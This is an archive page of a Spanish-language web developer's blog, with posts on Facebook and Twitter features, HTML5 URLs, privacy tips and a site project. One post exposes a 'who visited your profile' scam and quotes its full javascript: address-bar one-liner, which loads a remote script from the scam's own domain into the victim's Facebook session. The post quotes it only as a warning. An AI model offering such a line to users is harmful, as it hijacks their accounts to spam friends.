Archivos de Tags: Redes Sociales

Redes sociales y la adopción de los nuevos estándares

Mucho se ha dicho y comentado de la nueva interfaz de Facebook, cambios que hacen muy parecido a Google+ y Twitter, algunos dicen que hasta tiene la escencia de 4Chan. Pero desde hace tiempo se ha venido comentando mucho acerca de la adopción de los nuevos estándares web en Facebook, como el reproductor de videos en HTML5. Es algo muy técnico, pero creo yo que es importante resaltarlo, ya que ahora con la nueva interfaz me he podido percatar de que en las URLs ya no aparece el HashBang del que les había comentado antes, empezé a analizar un poco, viendo el codigo fuente me encontre con el doctype de HTML5, posteriormente con el Firebug empezé a ver las consultas AJAX, y efectivamente las actualizaciones se hacían sin recargar toda la pagina, pero cambiaba completamente la URL en la barra de direcciones.

Recorde que hace tiempo ya había visto un tutorial para el manejo de URLs en HTML5, esto era cambiar la dirección que estaba en la barra de dirección ejecutando una sola función en Javascript.

Como sabemos, en Javascript el objeto principal es el window, con el cual podemos controlar todo lo que es la ventana de navegación, historial, DOM, etc. Ya habíamos hablado también del Hash, el cual es toda esa cadena de caracteres que tenemos en la URL despues del #. Este Hash esta en el subobjeto history. Es decir:

  1. window.history

Este objeto contiene una serie de funciones que nos ayudan a manejar el historial de navegación, sin embargo en el nuevo estandar HTML5, tenemos las funciones:

Leer más »

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Hacer algo diferente: Desarrollar RIA’s y Aplicaciones Moviles.

Rompiendo un poco la temática despueés de los últimos posts publicados en este blog, con tanto javascript y redes sociales, aunque bueno esta entrada seguirá hablando sobre redes sociales, pero visto desde otro aspecto. Como saben, Faxterol es un emprendimiento personal, del cual tengo fé que crecerá y se desarrollara hasta convertirse en una empresa, pero vamos por partes. Ultimamente, me he sentido algo monotono, programando en la escuela y en mi casa con Java para hacer mis tareas de la escuela, y programando para web en el trabajo se ha vuelto el pan de cada día. Me motiva programar para web, me gusta programar en Java, pero ultimamente he querido hacer algo diferente. Desarrollar aplicaciones RIA’s y para Moviles, pero el trabajo y la escuela me tienen tan absorbido que no me he dedicado tiempo para hacerlo, inclusive tengo algunos proyectos personales pendientes que quiero sacar.

En los últimos meses, me he aventurado a hacer algúnas cositas en Adobe AIR con Javascript, pero la documentación no es muy rica o será que no la estoy buscando bien, así que esta semana, para aumentar el grado de dificultad, he querido hacer una aplicación en Adobe AIR pero que utilice el API de Facebook. Mi suerte fue nula, pues no pude hacer conexión con javascript, así que me puse a indagar un poco y descubrí Flash Builder. Este programa que viene dentro de la Adobe Creative Suite Web Premium, es un programa basado en Eclipse en el cual puedes desarrollar aplicaciones RIA’s para web y escritorio utilizando Flash. Valla, yo lo reconozco como “el flash de los programadores/desarrolladores”, pues Flash Professional es para hacer animaciones. Con Flash Builder fue satifactoria la conexión con Facebook Platform, sin embargo no conozco muy bien los componentes, lo identifiqué mucho con Netbeans, que si bien este es para Java. Con respecto a las aplicaciones moviles, con Adobe AIR también puedo hacer aplicaciones para moviles, sin embargo solo se ejecutaría en Android ya que iOS no tiene soporte para Adobe AIR (valla, ni para Flash). El año pasado tomé dos talleres, uno para desarrollar aplicaciones para iOS y otro para Android, pero no me fué suficiente el tiempo para captar todo lo que hicimos. Como lo dije anteriormente, hay que ir paso por paso, y creo que el primer paso son las RIA´s y despues las Aplicaciones Moviles.

Si alguien tiene algún manual de Flash Builder, se lo agradecería mucho compartirlo o comentar donde lo puedo encontrar.

Imagen vía: todocelular.es

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Ahora puedes compartir: Send Button de Facebook

Cuando vi el lanzamiento del boton Like de Facebook en el F8, supe que ese dia el mundo cambiaría, y valla que Facebook ha cambiado el estilo de vida y la forma en que se viven las redes sociales en la red. Acabo de leer recientemente el blog de desarrolladores de Facebook que han lanzado un nuevo boton, que si bien es parecido en la implementacion que se hace con el boton de Like, pero ahora un poco más privado.

Este boton se inserta en los contenidos que se quieren compartir, para despues desplegar una ventana seleccionando a los usuarios que quieres compartirlo, el enlace del contenido que se comparte y un mensaje del usuario. Puedes combinarlo y la forma de insertar este boton es con el lenguaje de marcación XFBML, con el mismo tag del fb:like, solo añadiendo un el atributo send con valor true, o con su tag fb:send.

Es decir:

  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:like href="example.com" show_faces="true" width="450" send="true">
  6.  
  7. </fb:like>
  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:send href="example.com"></fb:send>

También puedes solicitar los datos con el OpenGraph API.

Referencias:

Developer Blog Facebook
Documentación del Plugin Social Send Button
– Facebook Developers

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Una gran falsedad: Saber quien visitó tu perfil de Facebook

Gracias a mi experiencia como desarrollador web, he podido darme cuenta a tiempo de algunas falsedades que circulan en el Facebook, como por ejemplo, saber quien visitó tu perfíl. Si bien, hay formas de acceder a la información del usuario y hacer algunas acciones como publicar en su muro, pero únicamente por medio de su API. Sin embargo, gente con demasiado tiempo libre con ganas de molestar se ha aprovechado de la inocencia de los usuarios para hacer este tipo de dagas.

Hoy, en mi perfil de facebook me he topado con invitación a un evento que no existe pero que cita a un sitio llamado espiaface.com. Este sitio te proporciona un “manual” para instalar una aplicación y saber quién visitó tu perfil, pero la única forma de hacer eso es:

  • Que Facebook desarrolle un módulo que haga dicha funcionalidad
  • Que Facebook permita al menos insertar una imagen o un código que pueda llamar a una aplicación que utilice el API de Facebook y nos notifique.

Pero como ninguna de los dos existe, pues no hay forma de saber quien visitó tu perfil. Pero si tu eres un usuario que ya cayó en dicha falsedad, no te preocupes ya que “el programita” funciona así:.

Al pedirte que entres al facebook y pongas el siguiente código:

  1. javascript:(a=(b=document).createElement('script')).src='//app.espiaface.com/app.js?'+Math.random(),b.body.appendChild(a);void(0)

Estas ejecutando código Javascript dentro de Facebook, este código es el siguiente: (es muy extenso, así que puedes verlo). Este código te simula una muestra de quien visitó tu perfil y cuantas veces, claro estos parámetros son falsos y toma usuarios al azar. Después te crea un evento para saber quien visitó tu perfil, así mismo te dice que la aplicación está iniciando, cosa que no es cierto. En pocas palabras no se instala ninguna aplicación, solo es un programita que se ejecuta una sola vez por ti.

Sé que no le entiendes al codigo de la linea anterior, pero gracias a una herramienta que se llama JSBeautifier, que te permite comprimir, descomprimir, encriptar y desencriptar código fuente Javascript, entonces el siguiente codigo lo desencriptamos y tenemos el siguiente resultado.

Entonces estoy infectado por un virus o algún ovni controla mi computadora por escritorio remoto?

Bueno tampoco no exageremos, pero descuida, tu computadora no se infectó por algún virus y ningun ovni o entidad extraterrestre controla tu computadora, simplemente fue la ejecución durante un momento de un programa que sin darte cuenta permitiste que hiciera lo que hiso.

Solo hay una cosa a tomar a consideración: no hay ninguna aplicación que te diga exactamente quien visitó tu perfil (y si la hay, escriba un comentario donde la puedo encontrar) y no vuelvas a escribir nada que empiece con “javascript:” en tu barra de dirección del navegador. Estas personas conocen muy bien el funcionamiento de Facebook con Javascript

Espero haberte ayudado. Ahh cierto se me olvidaba, todo lo que hizo el programita tienes que eliminarlo manualmente. Tanto el evento como el mensaje en el muro.

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

¿Quién tiene la culpa?

Controlar lo que publicas

Y seguimos con tandas de entradas sobre redes sociales, y no es que sea SME, pero me llama mucho la atención estos fenómenos sociales que se provocan en internet y las consecuencias que esto atrae. Primeramente contarles que por fin llegó mi libro que se llama Faceboom y estoy próximo a leerlo. Pero el origen de esta entrada es otra.

Hace poco, uno de mis amigos (pero amigo, no amigo de red social), que una de sus amigas se enojó con el y hasta se metió en problemas con su pareja. Y es que, según relata mi amigo (véase la forma en que me estoy reservando el derecho de publicar su nombre) fue etiquetado en una foto de su amiga un tanto comprometedora, bueno no soy exagerado, la chica mostraba su espalda baja. Lógicamente, el no estaba en la foto, solo fue etiquetado con la intención de que la foto sea vista, como muchas otras más en las que nos etiquetan y ni siquiera estamos en dicha foto. Mi amigo dejo su comentario, pero valla lio, al ver la pareja de ella el comentario, empezó a rematar contra algunos que ya habían comentado dicha fotografía. Para no hacer el cuento muy largo ella hablo con el y le dijo que no vuelva a postear comentarios, etc, etc, etc. Ustedes saben, pidiéndole que no la meta en problemas con su pareja.

Y aquí la pregunta. ¿De quién es la culpa de dicho problema?.  De mi amigo por su comentario, de ella por haber subido su foto y etiquetarlo o de Facebook por existir. Solo para reflexionar, tengan cuidado con lo que publican!.

Imagen vía: Monologos.com

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

10 (de mis consejos) para proteger tu privacidad en las redes sociales.

Actualmente las redes sociales en internet juegan un papel muy importante en nuestra vida cotidiana, para la comunicación entre amigos y hasta conocer algunos nuevos. Sin embargo, a medida que las vamos usando vamos perdiendo nuestra privacidad, como niños pequeños no nos animamos a subir fotos o publicar algo, claro en un principio, pero poco a poco eso se va perdiendo hasta que lo volvemos algo incontrolable. Por eso les traigo 10 de mis consejos para proteger tu privacidad en las redes sociales según mi experiencia y el sentido común  no porque sea Social Media Expert y lo que me ha tocado ver y vivir.

1.- Ten cuidado a quien agregas.

Documentado esta que con una foto bonita ya aceptamos en nuestra lista de amigos a esa persona, ten cuidado al aceptar en tu lista de amigos a un desconocido. Revisa tus amigos en común o si alguna persona que sea amigo tuyo lo conoce, pídele referencias y hasta si es posible pregúntale porque te agrego y si es de confianza.

2.- Restringe tus datos.

Actualmente, en redes sociales como Facebook puedes restringir la visualización de ciertos datos, si en tu lista de amigos hay alguna persona de la que desconfías, no dudes en negarle el privilegio de ver tus datos, por seguridad. De igual manera, si vas a publicar un mensaje en específico para alguien, no solo con el tag es suficiente, su es posible configúrale para que solo esa persona vea dicho mensaje. No falta aquel tercero que meta mano a la conversación. Leer más »

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Redes sociales, nuestra conexión virtual.

La semana pasada, tuve la oportunidad de asistir a un panel/conferencia sobre redes sociales en el Instituto Tecnológico de Tepic. El panel se tornaba interesante al principio, pero en su mayoría la información difundida era algo que se encontraba en la blogosfera con gran facilidad, aun así estuvo divertida. Pero ahora vamos a hablar sobre el motivo de esta entrada. Lo que me sorprendió y me dejo muy claro, es que las redes sociales ya son parte de nosotros. Algunos compañeros (incluyéndome) revisando su facebook o su twitter desde su dispositivo móvil, unos otros hasta con su laptop prendida y su facebook abierto. En cierta manera, las redes sociales aunado con el auge de los dispositivos móviles que ya cuentan con conexión a internet, ya son parte de nosotros, pero no solo al momento de socializar, si no también en nuestro entorno laboral. Ya que recordemos que también existen redes sociales como lo es Linked In.

Otra cosa que también me llamo la atención, fue la pregunta de “¿Quién no esta en las redes sociales?”. Uno o dos compañeros levantaron la mano y de cierta forma, fueron vistos como las ovejas negras del grupo.Lo que si me dejo con un pequeño mal sabor de boca y que me hizo pensar que la información estaba incompleta incompleta, y estoy consciente de que esto es un mar de información, es que no se hablara sobre la fuga de información personal que se hace mediante el uso de aplicaciones de tercero y sobre los términos y condiciones de uso/términos de privacidad. Esta ultima pienso es una parte crucial al momento de hablar de redes sociales y la privacidad, ya que muchos usuarios lo único que hacen es aceptar y listo, registrarse; sin leer previamente la información contenida en dicho documento.

Me pregunto si ¿algún día viviremos sin contacto físico persona-persona?

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

La historia del #! (hash bang) que tanto intriga en las redes sociales.

Hace un par de dias, mientras esperaba mi desayuno en la loncheria leí un artículo acerca del ya famoso hash bag que tanto llama (o al menos a mi como desarrollador web) la atención en las URLs de algunas redes sociales tal como esta:

http://www.facebook.com/home.php?#!/pages/Faxterol-Web/116134141772310

Recientemente, Twitter en su actualización del #NuevoTwitter tambien lo ha estado implementando, pero hay algo que verdaderamente intriga, el por que el signo de admiración despues del hash (o llamado signo de gato en algunos lugares), pues aqui les va la información al respecto.

El hash es utilizado en los enlaces HTML para anclar cierta parte de un documento HTML extenso, sin embargo, en los últimos años y con el auge de la web 2.0 con aplicaciones hechas con AJAX, este hash se ha utilizado como hack en estas aplicaciones para indicarle a los rastreadores o robots indexadores de contenido de los buscadores para decirles que esta es una URL amigable, ese es el misterio que encierra el signo de admiración, ya que despues del #! esta la dirección del archivo de donde extrae el contenido para actualizar el documento actual y los robots acceden a ese archivo para indexar el contenido.

Se puede ver muy claramente al entrar a Facebook, por ejemplo: si ustedes copian la URL que está en la parte de arriba que les puse como demostración, contiene el hash-bang, cuando entren el hash-bang desaparecera redirigiendolos al documento que se encuentra posterior a este.  Ahora si que el  SEO y AJAX no estan peleados para nada, y con toda seguridad podemos hacer nuestra aplicación y ser indexada por los buscadores.

Además, Google tiene publicado esta especificación, la cual si les interesa pueden darse una leida. Espero que esta duda curiosa quede aclarada y sepan el por qué de ese tal hash-bang.

Solo como complemento, recuerden que para poder acceder al hash de la URL, es mediante Javascript con:

[JS]window.location.hash[/JS]

Un saludo!.

Visto en: DuperMag

Especificación de Google: Haciendo rastreables las aplicaciones AJAX (Making AJAX Applications Crawlable) [EN]

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Tweet Button – El boton para compartir enlaces en Twitter

Tal y como sucedió con Facebook y su plan de dominar el mundo con boton Like o “Me Gusta, Twitter ahora ofrece el servicio del boton de Tweet, con el cual puedes compartir facilmente información con un solo clic. Ademas, este servicio te contabiliza las veces que ha sido compartido tu enlace. Puedes crear estos botones en el generador de tweet button de Twitter.

Solo espero, que con estos botones no se hagan sitios generadores de botones de “Me Gusta” como de Facebook, si no llegará a un uso excesivo en spam.

Aquí el video oficial que te explica en que consiste este boton.

Necesitas Adobe Flash Player para ver este video.

Aquí un ejemplo:

Visto en: Twitter Blog

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio

Proyecto: Kilometro X

Este es uno de mis ultimos trabajos de desarrollo web. Kilometro X es un parque ecologico y de deportes ubicado en el cerro de San Juan, en el poblado de El Aguacate, Municipio de Tepic, Nayarit.

En el inicio, se utilizó un video de alojado en Vimeo, este es un promocional del parque. Despues de entrar a la web, podemos observar un mensaje de bienvenida y, si tienes una cuenta en Facebook, puedes unirte a la pagina fan del Kilometro X en Facebook.  Cuenta con 9 secciones principales que son:

  • Página Principal (presionando el logo de KMX se accede)
  • Actividades
  • Servicios
  • Ubicación
  • Contacto
  • Descargas
  • Paquetes
  • Galería (boton naranja del lado derecho).
  • Términos de uso.

Como cada uno de los nombres de la seccion del sitio, podemos encontrar dicha información del Kilometro X. En la sección Actividades, cuenta con varias subsecciones detallando cada una de las actividades que se realizan en el Kilometro X. En la sección de ubicación, podemos encontrar información sobre la localización del parque y la vista panoramica de la calle de la entrada al parque con un mapa de la ciudad. La galería de fotos muestra fotografías alojadas en la nube (a traves de Facebook), directamente de la Fan Page del Kilometro X.

El sitio fué desarrollado con XHTML, CSS 2 y JavaScript, con ayuda del Framework jQuery.

El diseño fué acargo de Casa Creativa y los logos y marcas mencionadas son de sus respectivos dueños y autores.

Has llegado a este artículo buscando:

Disfruta compartiendo

  • Print
  • Digg
  • StumbleUpon
  • del.icio.us
  • Facebook
  • Yahoo! Buzz
  • Twitter
  • Google Bookmarks
  • Bitacoras.com
  • email
  • FriendFeed
  • Google Buzz
  • LinkedIn
  • Meneame
  • Posterous
  • Wikio